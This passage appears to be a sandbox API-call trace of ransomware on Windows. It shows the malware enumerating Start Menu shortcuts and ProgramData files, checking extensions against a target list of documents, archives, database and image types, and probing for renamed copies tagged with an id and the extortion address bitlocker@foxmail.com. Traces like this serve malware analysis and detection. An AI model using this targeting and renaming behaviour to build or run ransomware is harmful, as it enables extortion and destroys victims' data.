(lpString1=".docx", lpString2="r.lnk") returned -1 [0172.949] lstrlenW (lpString=".pdf") returned 4 [0172.949] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.949] lstrlenW (lpString=".xls") returned 4 [0172.949] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.949] lstrlenW (lpString=".xlsx") returned 5 [0172.949] lstrcmpiW (lpString1=".xlsx", lpString2="r.lnk") returned -1 [0172.949] lstrlenW (lpString=".ppt") returned 4 [0172.949] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.949] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk") returned 64 [0172.949] lstrlenW (lpString=".zip") returned 4 [0172.949] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.949] lstrlenW (lpString=".rar") returned 4 [0172.949] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.949] lstrlenW (lpString=".bz2") returned 4 [0172.949] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.949] lstrlenW (lpString=".7z") returned 3 [0172.949] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.949] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk") returned 64 [0172.949] lstrlenW (lpString=".dbf") returned 4 [0172.949] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.949] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk") returned 64 [0172.949] lstrlenW (lpString=".1cd") returned 4 [0172.949] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.949] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk") returned 64 [0172.949] lstrlenW (lpString=".jpg") returned 4 [0172.949] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.950] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk") returned 64 [0172.950] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk") returned 64 [0172.950] lstrlenW (lpString=".doc") returned 4 [0172.950] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.950] lstrlenW (lpString=".docx") returned 5 [0172.950] lstrcmpiW (lpString1=".docx", lpString2="r.lnk") returned -1 [0172.950] lstrlenW (lpString=".pdf") returned 4 [0172.950] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.950] lstrlenW (lpString=".xls") returned 4 [0172.950] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.950] lstrlenW (lpString=".xlsx") returned 5 [0172.950] lstrcmpiW (lpString1=".xlsx", lpString2="r.lnk") returned -1 [0172.950] lstrlenW (lpString=".ppt") returned 4 [0172.950] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.950] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk") returned 64 [0172.950] lstrlenW (lpString=".zip") returned 4 [0172.950] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.950] lstrlenW (lpString=".rar") returned 4 [0172.950] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.950] lstrlenW (lpString=".bz2") returned 4 [0172.950] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.950] lstrlenW (lpString=".7z") returned 3 [0172.950] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.950] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk") returned 64 [0172.950] lstrlenW (lpString=".dbf") returned 4 [0172.950] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.950] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk") returned 64 [0172.950] lstrlenW (lpString=".1cd") returned 4 [0172.950] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.950] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk") returned 64 [0172.950] lstrlenW (lpString=".jpg") returned 4 [0172.950] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.951] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0172.951] lstrlenW (lpString="Windows Anytime Upgrade.lnk") returned 27 [0172.951] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows anytime upgrade.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0172.951] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1352) returned 1 [0172.951] CloseHandle (hObject=0x334) returned 1 [0172.951] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows anytime upgrade.lnk")) returned 0x20 [0172.951] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows anytime upgrade.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.951] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows anytime upgrade.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.951] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk") returned 80 [0172.951] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk") returned 80 [0172.951] lstrlenW (lpString=".doc") returned 4 [0172.951] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.951] lstrlenW (lpString=".docx") returned 5 [0172.952] lstrcmpiW (lpString1=".docx", lpString2="e.lnk") returned -1 [0172.952] lstrlenW (lpString=".pdf") returned 4 [0172.952] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.952] lstrlenW (lpString=".xls") returned 4 [0172.952] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.952] lstrlenW (lpString=".xlsx") returned 5 [0172.952] lstrcmpiW (lpString1=".xlsx", lpString2="e.lnk") returned -1 [0172.952] lstrlenW (lpString=".ppt") returned 4 [0172.952] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.952] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk") returned 80 [0172.952] lstrlenW (lpString=".zip") returned 4 [0172.952] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.952] lstrlenW (lpString=".rar") returned 4 [0172.952] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.952] lstrlenW (lpString=".bz2") returned 4 [0172.952] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.952] lstrlenW (lpString=".7z") returned 3 [0172.952] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.952] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk") returned 80 [0172.952] lstrlenW (lpString=".dbf") returned 4 [0172.952] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.952] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk") returned 80 [0172.952] lstrlenW (lpString=".1cd") returned 4 [0172.952] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.952] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk") returned 80 [0172.952] lstrlenW (lpString=".jpg") returned 4 [0172.952] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.952] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk") returned 80 [0172.952] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk") returned 80 [0172.952] lstrlenW (lpString=".doc") returned 4 [0172.952] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.953] lstrlenW (lpString=".docx") returned 5 [0172.953] lstrcmpiW (lpString1=".docx", lpString2="e.lnk") returned -1 [0172.953] lstrlenW (lpString=".pdf") returned 4 [0172.953] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.953] lstrlenW (lpString=".xls") returned 4 [0172.953] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.953] lstrlenW (lpString=".xlsx") returned 5 [0172.953] lstrcmpiW (lpString1=".xlsx", lpString2="e.lnk") returned -1 [0172.953] lstrlenW (lpString=".ppt") returned 4 [0172.953] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.953] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk") returned 80 [0172.953] lstrlenW (lpString=".zip") returned 4 [0172.953] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.953] lstrlenW (lpString=".rar") returned 4 [0172.953] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.953] lstrlenW (lpString=".bz2") returned 4 [0172.953] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.953] lstrlenW (lpString=".7z") returned 3 [0172.953] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.953] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk") returned 80 [0172.953] lstrlenW (lpString=".dbf") returned 4 [0172.953] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.953] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk") returned 80 [0172.953] lstrlenW (lpString=".1cd") returned 4 [0172.953] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.953] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk") returned 80 [0172.953] lstrlenW (lpString=".jpg") returned 4 [0172.953] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.953] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0172.954] lstrlenW (lpString="Windows DVD Maker.lnk") returned 21 [0172.954] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows dvd maker.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0172.955] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1326) returned 1 [0172.955] CloseHandle (hObject=0x334) returned 1 [0172.955] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows dvd maker.lnk")) returned 0x20 [0172.955] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows dvd maker.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.955] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows dvd maker.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.955] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk") returned 74 [0172.955] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk") returned 74 [0172.955] lstrlenW (lpString=".doc") returned 4 [0172.955] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.955] lstrlenW (lpString=".docx") returned 5 [0172.955] lstrcmpiW (lpString1=".docx", lpString2="r.lnk") returned -1 [0172.955] lstrlenW (lpString=".pdf") returned 4 [0172.955] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.955] lstrlenW (lpString=".xls") returned 4 [0172.955] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.955] lstrlenW (lpString=".xlsx") returned 5 [0172.955] lstrcmpiW (lpString1=".xlsx", lpString2="r.lnk") returned -1 [0172.955] lstrlenW (lpString=".ppt") returned 4 [0172.955] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.955] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk") returned 74 [0172.955] lstrlenW (lpString=".zip") returned 4 [0172.955] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.956] lstrlenW (lpString=".rar") returned 4 [0172.956] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.956] lstrlenW (lpString=".bz2") returned 4 [0172.956] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.956] lstrlenW (lpString=".7z") returned 3 [0172.956] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.956] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk") returned 74 [0172.956] lstrlenW (lpString=".dbf") returned 4 [0172.956] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.956] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk") returned 74 [0172.956] lstrlenW (lpString=".1cd") returned 4 [0172.956] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.956] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk") returned 74 [0172.956] lstrlenW (lpString=".jpg") returned 4 [0172.956] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.956] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk") returned 74 [0172.956] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk") returned 74 [0172.956] lstrlenW (lpString=".doc") returned 4 [0172.956] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.956] lstrlenW (lpString=".docx") returned 5 [0172.956] lstrcmpiW (lpString1=".docx", lpString2="r.lnk") returned -1 [0172.956] lstrlenW (lpString=".pdf") returned 4 [0172.956] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.956] lstrlenW (lpString=".xls") returned 4 [0172.956] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.956] lstrlenW (lpString=".xlsx") returned 5 [0172.956] lstrcmpiW (lpString1=".xlsx", lpString2="r.lnk") returned -1 [0172.956] lstrlenW (lpString=".ppt") returned 4 [0172.956] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.957] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk") returned 74 [0172.957] lstrlenW (lpString=".zip") returned 4 [0172.957] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.957] lstrlenW (lpString=".rar") returned 4 [0172.957] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.957] lstrlenW (lpString=".bz2") returned 4 [0172.957] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.957] lstrlenW (lpString=".7z") returned 3 [0172.957] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.957] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk") returned 74 [0172.957] lstrlenW (lpString=".dbf") returned 4 [0172.957] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.957] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk") returned 74 [0172.957] lstrlenW (lpString=".1cd") returned 4 [0172.957] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.957] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk") returned 74 [0172.957] lstrlenW (lpString=".jpg") returned 4 [0172.957] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.957] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0172.957] lstrlenW (lpString="Windows Fax and Scan.lnk") returned 24 [0172.957] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows fax and scan.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0172.958] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1210) returned 1 [0172.958] CloseHandle (hObject=0x334) returned 1 [0172.958] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows fax and scan.lnk")) returned 0x20 [0172.958] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows fax and scan.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.958] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows fax and scan.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.958] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk") returned 77 [0172.958] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk") returned 77 [0172.958] lstrlenW (lpString=".doc") returned 4 [0172.958] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.958] lstrlenW (lpString=".docx") returned 5 [0172.958] lstrcmpiW (lpString1=".docx", lpString2="n.lnk") returned -1 [0172.958] lstrlenW (lpString=".pdf") returned 4 [0172.958] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.958] lstrlenW (lpString=".xls") returned 4 [0172.958] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.958] lstrlenW (lpString=".xlsx") returned 5 [0172.958] lstrcmpiW (lpString1=".xlsx", lpString2="n.lnk") returned -1 [0172.958] lstrlenW (lpString=".ppt") returned 4 [0172.958] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.958] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk") returned 77 [0172.958] lstrlenW (lpString=".zip") returned 4 [0172.958] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.958] lstrlenW (lpString=".rar") returned 4 [0172.958] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.958] lstrlenW (lpString=".bz2") returned 4 [0172.958] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.959] lstrlenW (lpString=".7z") returned 3 [0172.959] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.959] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk") returned 77 [0172.959] lstrlenW (lpString=".dbf") returned 4 [0172.959] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.959] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk") returned 77 [0172.959] lstrlenW (lpString=".1cd") returned 4 [0172.959] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.959] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk") returned 77 [0172.959] lstrlenW (lpString=".jpg") returned 4 [0172.959] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.959] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk") returned 77 [0172.959] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk") returned 77 [0172.959] lstrlenW (lpString=".doc") returned 4 [0172.959] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.959] lstrlenW (lpString=".docx") returned 5 [0172.959] lstrcmpiW (lpString1=".docx", lpString2="n.lnk") returned -1 [0172.959] lstrlenW (lpString=".pdf") returned 4 [0172.959] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.959] lstrlenW (lpString=".xls") returned 4 [0172.959] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.959] lstrlenW (lpString=".xlsx") returned 5 [0172.959] lstrcmpiW (lpString1=".xlsx", lpString2="n.lnk") returned -1 [0172.959] lstrlenW (lpString=".ppt") returned 4 [0172.959] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.959] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk") returned 77 [0172.959] lstrlenW (lpString=".zip") returned 4 [0172.959] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.959] lstrlenW (lpString=".rar") returned 4 [0172.959] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.960] lstrlenW (lpString=".bz2") returned 4 [0172.960] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.960] lstrlenW (lpString=".7z") returned 3 [0172.960] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.960] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk") returned 77 [0172.960] lstrlenW (lpString=".dbf") returned 4 [0172.960] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.960] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk") returned 77 [0172.960] lstrlenW (lpString=".1cd") returned 4 [0172.960] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.960] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk") returned 77 [0172.960] lstrlenW (lpString=".jpg") returned 4 [0172.960] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.960] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0172.960] lstrlenW (lpString="Windows Media Player.lnk") returned 24 [0172.960] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0172.960] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1547) returned 1 [0172.960] CloseHandle (hObject=0x334) returned 1 [0172.961] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk")) returned 0x20 [0172.961] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.961] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.961] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk") returned 77 [0172.961] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk") returned 77 [0172.961] lstrlenW (lpString=".doc") returned 4 [0172.961] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.961] lstrlenW (lpString=".docx") returned 5 [0172.961] lstrcmpiW (lpString1=".docx", lpString2="r.lnk") returned -1 [0172.961] lstrlenW (lpString=".pdf") returned 4 [0172.961] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.961] lstrlenW (lpString=".xls") returned 4 [0172.961] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.961] lstrlenW (lpString=".xlsx") returned 5 [0172.961] lstrcmpiW (lpString1=".xlsx", lpString2="r.lnk") returned -1 [0172.961] lstrlenW (lpString=".ppt") returned 4 [0172.961] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.961] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk") returned 77 [0172.961] lstrlenW (lpString=".zip") returned 4 [0172.961] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.961] lstrlenW (lpString=".rar") returned 4 [0172.961] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.961] lstrlenW (lpString=".bz2") returned 4 [0173.023] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0173.023] lstrlenW (lpString=".7z") returned 3 [0173.023] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0173.023] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk") returned 77 [0173.023] lstrlenW (lpString=".dbf") returned 4 [0173.023] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0173.119] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=380) returned 1 [0173.119] CloseHandle (hObject=0x1b4) returned 1 [0173.119] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn")) returned 0x2022 [0173.119] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft 